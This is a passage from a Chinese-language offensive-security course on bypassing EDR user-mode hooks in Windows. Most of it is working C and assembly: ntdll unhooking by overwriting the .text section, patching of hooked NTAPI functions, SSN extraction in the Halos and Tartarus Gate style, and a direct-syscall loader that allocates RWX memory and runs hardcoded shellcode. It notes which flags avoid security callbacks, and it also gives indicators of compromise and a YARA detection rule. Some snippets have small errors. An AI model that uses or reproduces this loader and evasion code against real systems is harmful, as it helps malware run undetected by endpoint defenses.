			size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData;
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy(hookedTextSection, CleanTextSection, size_TextSection);
			isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection);
		}
	}
	CheckFuncByName(ntdll, "NtOpenProcess");
	return 0;
}
```

编译后，我们使用 WinDBG 来调试该程序，为了模拟 hook，我们手动修改 NtOpenProcess API 的第一条指令，并且确认了该修改是成功的。在程序运行结束后，查看该 API，发现代码被恢复成原有的了。因此，通过替换 .text 节，我们可以实现对用户态 Hook 的绕过。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/92kOCjNgWikt13Xz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/92kOCjNgWikt13Xz-image.png)

值得一提的是，我发现其他利用此方法的代码里，作者们用了 CreateFileMapping 与 MapViewOfFile 来将干净的 ntdll 载入至内存中。

```c
HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);
```

使用这些 WinAPI 时，因为映像被映射到内存中，因此 Windows 加载器会适用变更的**对齐系数**，导致 .text 的偏移也不同。如果 CreateFileMappingA 的 flProtext 参数没有包含 **SEC\_IMAGE** 或 **SEC\_IMAGE\_NO\_EXECUTE** 标志，则不会适用新的对齐。但SEC\_IMAGE\_NO\_EXECUTE 标志还是会更好一些，因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着当 ntdll.dll 被映射到内存时，使用此标志不会提醒接收**映像载入通知例程**的安全产品。

```c
hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
	printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
	return -1;
}

// mapping the view of file of ntdll.dll
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	return -1;
}
```

好，我们来讨论一下该方法存在的 IOC：

1. 从磁盘中读取 ntdll.dll 对于良性程序来说比较可疑
2. 在 unhook 之前，我们需要用到一些敏感的函数，例如 VirtualProtect，WriteProcessMemory(可用于代替 VirtualProtect 和 memcpy 组合) 等
3. EDR 可以验证载入的 ntdll 的完整性以判断是否遭到了纂改

**拓展**

我们是从磁盘中读取 ntdll，其实我们还可以从 KnownDlls 目录、远程 web 服务器上读取。请查询资料以及所需的 API 的用法，进行实现作为练习。

### **补丁 NTAPI**

相比替换整个 ntdll 模块的 .text 节，我们可以选择只补丁我们所需的且被 hook 的函数，这样，补丁的动作会相对小一些。相比之前的代码，我们可以硬编码或者动态地获得目标 NTAPI 的 syscall stub 指令字节，其实区别只在于 SSN。至于如何动态地获取 SSN，我们会在下一小节进行讲解，因此这里我们就硬编码 NtOpenProcess 的 syscall stub 好了。

需要略加注意的是，对于给定的函数，其地址很大概率不是与**内存页**对齐的，幸运的是，像 VirtualAlloc、VirtualProtect 这类函数会自动帮我们适用向下最近的页的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ZN27Pa9u53LfJwUC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ZN27Pa9u53LfJwUC-image.png)

对于代码，我们只需要增加硬编码的 NTAPI 的 syscall stub，以及对 CheckFuncByName 稍加修改。

```c
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress);
				DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000;
				printf("Start address of the page is 0x%x\n", pageStart);
				DWORD oldProtection = 0;
				bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
				memcpy(pFunctionAddress, cleanNTAPI, 0xb);
				isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3";
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	return 0;
}
```

代码的 syscall stub 中保存的是最精简的指令，因为这足以成功发起 syscall。总之，通过补丁给定被 hook 的函数指令，可以实现对想要的函数进行 unhook。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/cxAdiy2r2nfk4gdO-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/cxAdiy2r2nfk4gdO-image.png)

对于此方法，虽然比替换整个代码区动静要小一些，但因为原理相似，论 IOC 其实是差不多的。

### **从挂起的进程中载入纯净 ntdll 模块**

我们还可以通过读取挂起进程中载入的 ntdll 来获得纯净的副本，并用于 unhook。当进程以**挂起**或者**被调试**的状态被创建，此时只有 ntdll 被载入，EDR 还未来得及注入其检视 API 调用的模块。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/j0SqN4PdAoczUyZe-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/j0SqN4PdAoczUyZe-image.png)

在这之后，我们可以通过 ReadProcessMemory 来读取载入的 ntdll 模块的代码区。要能精准地获取干净副本的代码区并实现 unhook，我们可以通过以下的步骤实现：

1. 使用 **NtQueryInformationProcess** API 获得远程挂起进程的 PEB 地址
2. 通过 **PEB Walking** 的方法获得远程进程中载入的纯净 ntdll 地址。因为是远程进程，步骤会不那么直接一些。
3. 因为都是已经载入到内存的 ntdll，解析当前载入的 ntdll 模块(即被 hook 的) 从而获取代码区的 **RVA** 以及**尺寸**
4. 从纯净的 ntdll 模块的代码区开始读取，直到读取字节数达到尺寸
5. 覆盖被 hook 的代码区实现 unhook

***知道了原理与流程后，作为一道练习题，请学员们尝试自行完成完整代码，并分析该方法有哪些 IOC。***

# 调用syscall实现用户态Hook绕过

在上个小节，我们主要是通过对 ntdll 模块进行覆盖或者补丁来移除 hook 实现用户态 hook 的绕过。但是这些方法涉及到对 ntdll 的纂改，以及对内存权限的修改，具有一定的风险。实际上，我们还有其他途径来实现 hook 的绕过。

### **提取 syscall 号码**

我们可以在 C 项目里定义汇编函数，来实现 NTAPI。我们知道，只需要最少 4 条指令，我们便能成功执行 syscall。但在执行 syscall 之前，我们需要获得目标函数的 SSN。我们可以从磁盘中读取一份干净的 ntdll 并解析得到 SSN，但从磁盘中读取 ntdll 会显得有些可疑，因此最好是解析载入的 ntdll 并设法获得 SSN。

#### **Hells Gate**

Hells Gate 通过 PEB Walking 的方法得到加载的 ntdll 地址以及想要获得 SSN 的函数地址。通过对关键字节的比较来确定这是一个有效的 syscall stub，从而提取出 SSN。其实上个小节我们已经用了这个逻辑了。

原始代码关键部分如下：

```
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
					&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
					&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
					&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
					&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
					&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
					BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); 
					BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); 
					pVxTableEntry->wSystemCall = (high << 8) | low;
					break;
}
```

但是，如果要搜索的函数被 hook 了，那么 SSN 可能不会存在于 syscall stub 里(取决于是什么 EDR 以及覆盖了哪些指令)，这样的话，就不能成功获得 ssn 了。因此，Halos Gate 对此进行了改善。

#### **Halos Gate**

我们发现，在 ntdll 里，随着地址的增高，NTAPI 的 SSN 是递增的，反之则递减。因此，如果我们想要搜索的 NTAPI 被 hook 了，可以向上和向下同时继续搜索，例如往下搜索了 **2 跳**发现了一个未被 hook 的 NTAPI，那么要搜索的 NTAPI 的 SSN 就是这个未被 hook 的 NTAPI 的 SSN 再减去 2，即 **Desired\_SSN = Clean\_SSN - Hop**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/MygmjRJ3KjEvKnoL-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/MygmjRJ3KjEvKnoL-image.png)

关键代码部分如下：

```c
int GoUp -32;
int GoDown 32;
// If the first instruction of the syscall is a an inconditional jump (aka it's hooked)
if (*((PBYTE)pFunctionAddress) == 0xe9) {
	// Search beginning pattern of syscall stub through 500 function up and down from our location
	for (WORD index = 1; index <= 500; index++) {
		// Search the begining of a syscall stub in the next function down
		if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
			&& *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
			&& *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
			&& *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
			&& *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
			&& *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
			BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
			BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
			// substract the index from the current syscall identifier to find the one of our target function
			pVxTableEntry->wSystemCall = (high << 8) | low - index;
			return TRUE;
		}
		// Search the begining of a syscall stub in the next function down
		if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
			&& *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
			&& *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
			&& *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
			&& *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
			&& *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
			BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
			BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
			// substract the index from the current syscall identifier to find the one of our target function
			pVxTableEntry->wSystemCall = (high << 8) | low + index;
			return TRUE;
		}
}
```

代码里定义了最大搜索跳数为 32，搜索时确实需要注意边界。Halos Gate 也有个小局限性，它以第一条指令是否是 jmp 从而判断函数是否被 hook 了。我们之前说了，不同的 EDR 覆盖的指令不同，有的 EDR 覆盖的不是第 1 条指令，可以是 syscall 之前的任何指令。例如 CrowdStrike 覆盖的是第 2 条指令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/G2gtx7JTwdq1Kc7F-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/G2gtx7JTwdq1Kc7F-image.png)

#### **Tartarus Gate**

Tartarus Gate 相比 Halos Gate 的改动比较小，主要是考虑了更多 EDR 可能 hook 的情况，例如上面截图所示的情况。对前 4 字节逐一对比，还是相对比较可靠的判断。当然了，hook 导致的指令覆盖可能在 syscall 指令之前的任何字节，如果不放心的话，可以增加更多字节比较。

下面的代码是我个人对动态获取 SSN 的实现：

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

unsigned char QuickGetSSN(PBYTE pFunctionAddress)
{
	const int maxOffset = 10; // You can adjust this based on your requirements.
	int offset;
	unsigned char ssn_low = -1;
	unsigned char ssn_high = -1;
	unsigned char ssn = -1;
	if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
	{
		printf("The function is clean\n");
		char ssn = *((unsigned char*)(pFunctionAddress + 4));
		printf("ID of searched function is: 0x%x\n", ssn);	
		return ssn;
	}
	else
	{
		printf("The function is hooked\n");
		// Search both upwards and downwards.
		for (offset = 1; offset <= maxOffset; ++offset)
		{
			// Check upwards.
			PBYTE checkAddress = pFunctionAddress - (0x20 * offset);
			if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
			{
				ssn_low = *((unsigned char*)(checkAddress + 4));
				ssn_high = *((unsigned char*)(checkAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Clean sequence found upwards at offset -0x%x, SSN of the unhooked function is 0x%x\n", offset, ssn);
				printf("SSN of searched NTAPI is 0x%x\n", (offset + ssn));
				return ssn+offset;
			}

			// Check downwards.
			checkAddress = pFunctionAddress + (0x20 * offset);
			if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
			{
				ssn_low = *((unsigned char*)(checkAddress + 4));
				ssn_high = *((unsigned char*)(checkAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Clean sequence found downwards at offset 0x%x, SSN of the unhooked function is 0x%x\n",offset, ssn);
				printf("SSN of searched NTAPI is 0x%x\n", (offset - ssn));
				return ssn-offset;
			}
		}
	}
}

unsigned char GetSSNByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	unsigned char ssn_low = -1;
	unsigned char ssn_high = -1;
	unsigned char ssn = -1;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return -1;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return -1;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
				ssn_low = *((unsigned char*)(pFunctionAddress + 4));
				ssn_high = *((unsigned char*)(pFunctionAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Syscall number of function %s is: 0x%x\n", pFunctionName,ssn);	
				return ssn;
			}
			else
			{
				printf("NTAPI %s is hooked, check surrounding functions\n", funcName);
				ssn = QuickGetSSN(pFunctionAddress);
				printf("Syscall number of function %s is: 0x%x\n", pFunctionName, ssn);	
				return ssn;
			}
			return -1;
		}
	}
	return -1;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char ssn =GetSSNByName(ntdll, "NtOpenProcess");
	printf("SSN of the NtOpenProcess is 0x%x\n", ssn);
	return 0;
}
```

我们人为地给 NtOpenProcess，以及其前向 2 个函数、后向 3 个函数都进行了指令覆盖来模拟 hook。最终，程序成功地发现前向第 3 个函数是没有被 hook 的，提取了其 SSN 后加上 3，得到了 NtOpenProcess 的 SSN。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/P2cJOSA5Bf20xRRH-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/P2cJOSA5Bf20xRRH-image.png)

### **直接调用 Syscall**

有了目标函数的 SSN，我们便可以用汇编代码实现 NTAPI 并进行调用了。这里，我们将先讨论直接调用 syscall。我们以经典的 VirtualAlloc + WriteProcessMemory(或者是其他复制数据的函数) + CreateThread + WaitForSingleObject 的代码执行方法为例，当然了，我们使用的是这些 API 的 NTAPI 版本，执行 calc 的 shellcode。

#### **直接 syscall**

在 C 源代码文件里定义 NtAllocateVirtualMemory 函数以及所需的结构体(尽管该 NTAPI 没有所需的结构体)，而在 asm 文件里用汇编代码实现函数功能，这里我们实现 NtAllocateVirtualMemory 的 syscall stub 即可。 **EXTERN\_C 宏**允许链接器将该函数定义与汇编代码链接起来，需要保持名称相同。这样，我们就能像调用一般函数一样调用定义的汇编函数了。

```c
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);
```

```c
.code
<...SNIP...>

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    syscall
    ret
NtAllocateVirtualMemory ENDP

<...SNIP...>
end
```

以此类推，我们接着去定义其他所需的函数，例如 NtWriteVirtualMemory，NtCreateThreadEx，NtWaitForSingleObject，NtClose 等。因为这些 NTAPI 大都没有微软官方的文档，因此我们需要借助搜索引擎参考已有项目对其的用法。完成后的代码如下：

**DirectSyscall.c** 代码

```c
#include <stdio.h>
#include <Windows.h>

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

EXTERN_C NTSTATUS NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID Argument OPTIONAL,
	IN ULONG CreateFlags,
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

EXTERN_C NTSTATUS NtWaitForSingleObject(
	IN HANDLE ObjectHandle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER TimeOut OPTIONAL);

EXTERN_C NTSTATUS NtClose(
	IN HANDLE Handle);


int main() {
    // calc.exe shellcode
    unsigned char code[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";


    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(code);
    HANDLE hThread;
    NTSTATUS status;

    allocation_start = nullptr;


    // Allocate Virtual Memory 
	if (NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)==0)
		printf("Memory allocated at %p\n", allocation_start);
	else
		printf("Allocated failed, Error code is %d\n",GetLastError());

    // Copy shellcode into allocated memory
	if (NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0)==0)
		printf("Copied successfully\n");
	else
		printf("Copied failed, Error code is %d\n", GetLastError());


	if (NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL)==0)
		printf("Executed successfully\n");
	else
		printf("Executed failed, Error code is %d\n", GetLastError());

    // Wait for the end of the thread and close the handle
    NtWaitForSingleObject(hThread, FALSE, NULL);
    NtClose(hThread);

    return 0;
}
```

**stub.asm** 代码

```c
.code

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov rax, 3Ah
    syscall
    ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
    mov r10, rcx
    mov rax, 0C2h
    syscall
    ret
NtCreateThreadEx ENDP

NtWaitForSingleObject PROC
    mov r10, rcx
    mov rax, 4
    syscall
    ret
NtWaitForSingleObject ENDP

NtClose PROC
    mov r10, rcx
    mov rax, 0Fh
    syscall
    ret
NtClose ENDP


end
```

为了能编译 masm 文件，我们右键项目，选择 **Build Dependencies -&gt; Build Customizations**，勾选 **masm**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ouDmEOA6Lvjc01pk-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ouDmEOA6Lvjc01pk-image.png)

右键 asm 代码文件选择属性，**General -&gt; Item Type** 选项选择 **Microsoft Macro Assembler**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/QJuqgked4UhodQgC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/QJuqgked4UhodQgC-image.png)

这样我们便能编译项目里的 masm 代码了。编译后运行程序，我们发现 shellcode 得以成功运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/o6aHs00RAIYUxxcO-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/o6aHs00RAIYUxxcO-image.png)

不过直接 syscall 调用的弊端也是比较显著的，汇编函数在编译后成为操作码存在于程序的代码区，汇编代码与操作码是可预测的一一对应的关系。因此，如果没有对 syscall stub 进行混淆的话，我们可以用如下 yara 规则来检测包含直接 syscall 调用的程序：

```yaml
rule direct_syscall
{
    meta:
        description = "Hunt for direct syscall"

    strings:
        $s1 = {4c 8b d1 48 c7 c0 ?? ?? ?? ?? 0f 05 c3}
        $s2 = {4C 8b d1 b8 ?? ?? ?? ?? 0F 05 C3}
    condition:
        #s1 >=1 or #s2 >=1
}
```

我们定义了 5 个 syscall stub，都被检测到了。我们可以插入一些 **NOP** 类(即无实际意义、不影响运行结果) 的指令用于混淆 syscall stub。但即便有混淆，0xf 0x5(syscall) 指令始终存在于代码区，这是可疑的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/EEhQPYmzhhd5SM5L-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/EEhQPYmzhhd5SM5L-image.png)

此外，从调用栈的视角，是我们程序的某一函数发起了 syscall，而不是 ntdll 空间内的 NTAPI，这是非常可疑的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/eDG3VYrocukn8BnY-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/eDG3VYrocukn8BnY-image.png)

#### **syswhisper 1&amp;2**

Syswhisper 1 和 2 可以自动地帮我们生成 C 项目的头文件以及 asm 文件，方便我们发起直接 syscall。Syswhisper 1 是通过检查操作系统的版本从而确定给定 NTAPI 的 SSN，这算是硬编码了，不够灵活。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/cgSWm1nMFyQ8tEVc-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/cgSWm1nMFyQ8tEVc-image.png)

syswhisper 2 将所有 **Zw** 开头的函数按照地址排序存储进数组里，**SSN** 与**函数地址高低**是正相关，因此，要寻找的函数的 SSN 即为该函数地址在数组里的索引。

至于为什么以 Zw 开头，因为其实 NTAPI 的 NT 与 ZW 版本指向同一地址。

